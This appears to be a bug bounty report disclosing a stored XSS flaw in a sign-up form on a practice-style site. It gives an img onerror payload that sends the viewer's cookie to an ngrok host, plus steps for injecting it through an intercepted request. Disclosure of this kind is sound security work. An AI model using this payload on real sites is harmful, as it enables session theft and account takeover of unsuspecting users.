BugBountyHunter

I have discovered a stored XSS vulnerability affecting the HackerBack sign up allowing for the retravel of the users cookie that is not using HTTP_ONLY

Payload

<img/src=x onerror="window.location.href='https://ngrok.io?cookie='%2bdocument.cookie">

To reproduce:

1. Visit firstbloodhackers.com/hackerback.html
2. Click the join event button
3. Add any name and phone number
4. click sign up and intercept the request
5. replace the phone value with the payload
6. forward the request

When a user views the drpanel the users drps cookie will be sent to your ngrok server

Impact:

1. The attacker can steal the cookie from whoever views the page allowing a account takeover.
2. The attacker can steal data from whoever views the page.
3. Users can execute arbitrary JavaScript code in the context of other users.